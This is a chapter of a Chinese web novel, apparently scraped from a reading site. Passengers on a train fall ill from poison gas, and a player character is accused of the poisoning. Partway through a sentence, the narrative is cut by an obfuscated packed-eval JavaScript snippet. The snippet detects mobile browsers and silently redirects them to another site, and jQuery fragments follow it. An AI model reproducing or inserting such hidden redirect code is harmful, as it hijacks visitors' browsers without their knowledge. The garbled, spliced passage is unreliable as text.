264. 扶光号列车(11)
作品:《系统对我有偏见[无限]》 “怎么回事呀?不是刚做过血检吗?”
“太吓人了这,离远点,待会儿污染变种出来了……”
“没检测出污染因子,应该安全的吧?”
“万一变异没测出来呢?”
“不会是研究机构拿人做实验吧?整个列车都是他们的实验舱……”
“智障又出现了,呵呵,星火也自愿当实验体呗?”
“哼,谁知道是不是一早串通好了,有防护措施呗。”
……
8车厢两端公共区域里围满了看热闹的乘客,交头接耳,各种言论层出不穷,杂乱地混在一起,让列车上焦躁不安的气氛逐渐升温。
陈远峰没管这些杂音,带着星火成员进了8车厢,确认异常情况。
倪月华混入星火成员之中,全程紧跟陈远峰。
韩择和嵇文柏因原本就在后面车厢活动,实际比星火更早进入现场,远远站在外围观望着,好奇于突发事件的走向。
离茉是跟在施琴身后进入餐厅的,不过此时此刻她没空再关注施琴,转身找韩择打听情况。
跟在星火后面陆续进入餐厅的人是岳遥和奚回,两人分别走向了队友。
此时餐厅内,7名乘客被绑在座椅上,双眼失焦,扭动着身体,张大嘴吼叫,一副想要撕咬眼前一切的暴躁模样。
几名帮忙控制住发狂人员的乘客围到陈远峰面前,七嘴八舌说明了当时情况。
这7名乘客全出自9车厢。
事发时,有2人到8车厢用餐,突然发疯打砸,还袭击了餐厅里的乘客;另外5人就在9车厢自己的座位上,猛然间神志失常。
好在失常者全都及时被控制住,集中安置到8车厢。
消息传往1车厢时,列车上有医务人员站出来,检查了失常者的身体情况。
“不是污染,是中毒致幻。”一名医生笃定地扔出结论。
“中毒?哪儿来的毒啊,这列车上还能有人投毒不成?”
一名星火成员发出质疑声,说着看了看餐厅桌上没来得及清理的吃食,怀疑的目光最后扫向了围观的人群。
那眼神好像在问:到底是谁在车上捣乱?
奚回、离茉和韩择正站在餐厅内,与陈远峰等人隔着不远不近的距离,刚好能听到他们讨论的声音。
一听到“投毒”二字,奚回手指托着下巴仰头思考,离茉眼神困惑四处张望,韩择低头扶额一脸沉思,不约而同逃避着目光对视。
「奚回:毒不是你下的吧?」
「韩择:我还没找到机会。」
「离茉:你应该不是在附近晃一晃就能让人中毒的体质吧?」
「韩择:不具备这种功能,谢谢。」
奚回和离茉相视一笑,中毒的人未释放污染因子,她们自然明白与韩择无关,有意捉弄韩择罢了。
「奚回:话说回来,谁会下毒?顺天?」
话题没能讨论下去,这时餐厅内的说话声转移了奚回的注意力。
几名与失常者相熟的乘客主动站了出来,向星火提供线索。
不管是餐厅内吃过的食物,还是座位上喝过的饮品,都没有被人下毒的迹象。唯一能将7名失常者关联到一起的事,是他们事发前全都去过吸烟室。
顺着这条线索,几名星火成员带医生前往8、9车厢之间的吸烟室调查。
大约10分钟后,医生带回消息:“吸烟室内残留着微量毒气。”
“我们还在隐蔽处找到了这个,大概率是毒气释放装置。”一名星火成员说着将寻找到的可疑物品展示到陈远峰面前。
那是一个带控制开关的金属制胶囊状容器,精致又小巧,内部已空。
果然有人下毒。
针对这一点,陈远峰立马让人调取车内监控,确认投毒嫌疑人。
等待结果时,韩择面色阴沉,微微蹙眉。
「韩择:我可能知道下毒的人是谁。」
「奚回:谁啊?」
「韩择:你要我盯着的那个人。」
「奚回:嵇文柏啊……可他的目的是什么呢?」
「离茉:世界不同,肯定不是有仇,他找到任务所谓的“危险”是什么了?」
「奚回:这么比起来,他更像“危险”本身吧。」
「韩择:确实不合理,但事发前不久,他恰好出入过8、9车厢之间的吸烟室。」
「离茉:这……也太可疑了吧。」
「奚回:嗯,可疑到我都觉得他清白了。」
「韩择:准确说来,他离开3车厢后,一路往后面车厢走,几乎每个吸烟室和卫生间他都进过,当时我的感觉是他以抽烟和上厕所为由搜索。」
「奚回:这么说的话,应该是调查才对。」
「离茉:那你干嘛还怀疑他?」
很快,离茉的问题得到了解答,只是回答的人不是韩择,而是星火。
只见星火成员离开几分钟后回来,将嵇文柏从围观的人群中揪了出来,并押送到陈远峰面前。
至于抓住嵇文柏的理由,跟韩择表述的内容差不多。
监控显示,嵇文柏曾去过8、9车厢之间的吸烟室,在里面待过几分钟。偏偏那7名失常者去吸烟室的时间,与其前后相差不过几分钟。
“除了这人,同一时间段没人再去过那间吸烟室了。”星火成员解释,“下毒的人很可能就是他。”
嵇文柏一脸震惊,高声痛骂:“说什么胡话,你们这抓不到凶手栽赃呢?凭什么我去过就是下毒的人了?有病吧!”
不少人觉得嵇文柏的反驳没什么问题,疑惑的目光向抓人的星火成员汇聚。
星火成员对于抓住凶手一事似乎有十拿九稳的把握,一脸讥笑地反问:“那你倒说说,凭什么那7人中毒了,你却安然无恙?”
此话一出,舆论瞬间一边倒。
按理说,差不多时间进入弥漫着毒气的房间,都应该中毒才对,不中毒的人自然最可疑。
这也正是韩择产生怀疑的原因。
岳遥见队友被抓,心情有些复杂,本想上前帮忙说话,被奚回快步上前拦了下来。
奚回无声地冲岳遥摇了摇头,将她拉回了观望的队伍。
玩家们现在不宜与原住民发生冲突。
嵇文柏是有意为之,还是意外卷入了顺天的阴谋?
答案暂时不得而知。
反正对于指正,嵇文柏是不认的,可是他自己也说不清为什么自己没有中毒。
双方争执时,星火成员又带回了新的证据。
一个小药剂瓶被装进透明袋,递送到了陈远峰面前。
陈远峰举着袋子,仔细观察着里面的小药瓶,瓶中的药剂已被使用,瓶上标签写着“解毒剂”字样。
“监控显示这人离开吸烟室后,又进了卫生间,这瓶使用过的解毒剂是从卫生间里搜出来的。”一人向陈远峰解释。
陈远峰朝嵇文柏抖了抖袋子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365681|177480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问:“这个你又要怎么解释?”
“我解释个屁啊,我就是去拉个屎,不可以吗?而且我进去的时候,这玩意儿已经躺在垃圾桶里了。这都能当证据指证我,你们别太离谱了!”
嵇文柏气得直跺脚,脸上有种百口莫辩的无力感。
“哼,说漏嘴了吧,我可没说是从垃圾桶里找到的,这你都知道,还说不是你扔的?”星火成员言之凿凿。
嵇文柏目瞪口呆,整个人肉眼可见地红温了。
“不是,你有病吧,我就在垃圾桶里看见的,跟是不是我扔的存在半毛钱逻辑关系吗?”他扯着嗓子破口大骂。
奚回等人哭笑不得,纷纷低下头,努力憋笑。
那名星火成员似乎没意识到自己哪里说的不对,据理力争道:“嘿,怎么就那么凑巧,进过吸烟室的人偏偏就你没中毒,去过的卫生间里又刚好有解毒剂?”
“这我哪儿知道!”嵇文柏咬牙切齿。
星火成员不依不饶,又问:“你在卫生间里停留了很长一段时间,直到那7人出现中毒症状,难道不是你知情,所以有意避让免受波及吗?”
又是一个看似合情合理,细想之下又没有任何逻辑关系的猜想。
嵇文柏被气笑了,来回几个深呼吸,索性吐露实情:“那是因为我进卫生间时,在里面发现了一枚微型炸弹,处理起来有点麻烦,耗费了不少时间。”
“炸弹呢?”陈远峰问。
嵇文柏皱了皱眉头,“被我拆掉扔出列车了……”
“哼,这不没证据嘛,空口无凭,随你编咯?”星火成员讪笑。
整个事件透着一丝古怪,令人摸不着头脑。
奚回总觉得哪里怪怪的,却又说不上来,看了看时间,列车再次出发已过去40分钟,心中不免有些急躁。
「奚回:小茉茉,让倪月华提醒陈远峰,投毒案压到到站后再说,把嵇文柏带回1车厢看管。」
「离茉:嗯,我联系倪月华。」
「奚回:韩择,你的投毒得加快进度了,没多少时间了。」
「韩择:好,等人散了我就行动。」
脑内简单交代后,倪月华从身后拉了拉陈远峰的衣服,陈远峰偏头,倪月华踮脚对他耳语两句。
很快,陈远峰转正身子,清了清嗓,主持公道一般开口道:“他无法自证清白,但光凭他进过吸烟室没中毒,和进过的卫生间里有解毒剂,并不能证明他就是犯人。”
“这……”
星火成员虽心有不甘,但首领发话了,也不好置喙,就此噤了声,听从安排。
陈远峰又问医生:“他们中的毒致命吗?”
医生如实回答:“看样子是神经毒素,幻觉导致精神失常,具有攻击性,暂无性命之忧。”
“那就好。”陈远峰点点头,随即吩咐道,“将嫌疑人带在1车厢看守好,等到站后送中毒者去医院治疗,刚才找到的两样物件收好,验指纹说不定会有结论。”
简单几句话,将一切安排得明明白白。
陈远峰拜托车上的医务人员暂时帮忙照顾中毒者,接着便招呼手下将嵇文柏带走。
不知情的嵇文柏哪肯受原住民摆布,一边叫嚷着冤枉,一边试图挣脱星火成员的钳制。
正在这时,抓住嵇文柏的人高吼了一声“有毒”,周围人匆忙捂住口鼻。
嘶——嘶——
骤然静默的空间里响起细微的漏气声,那声音来自嵇文柏身上。

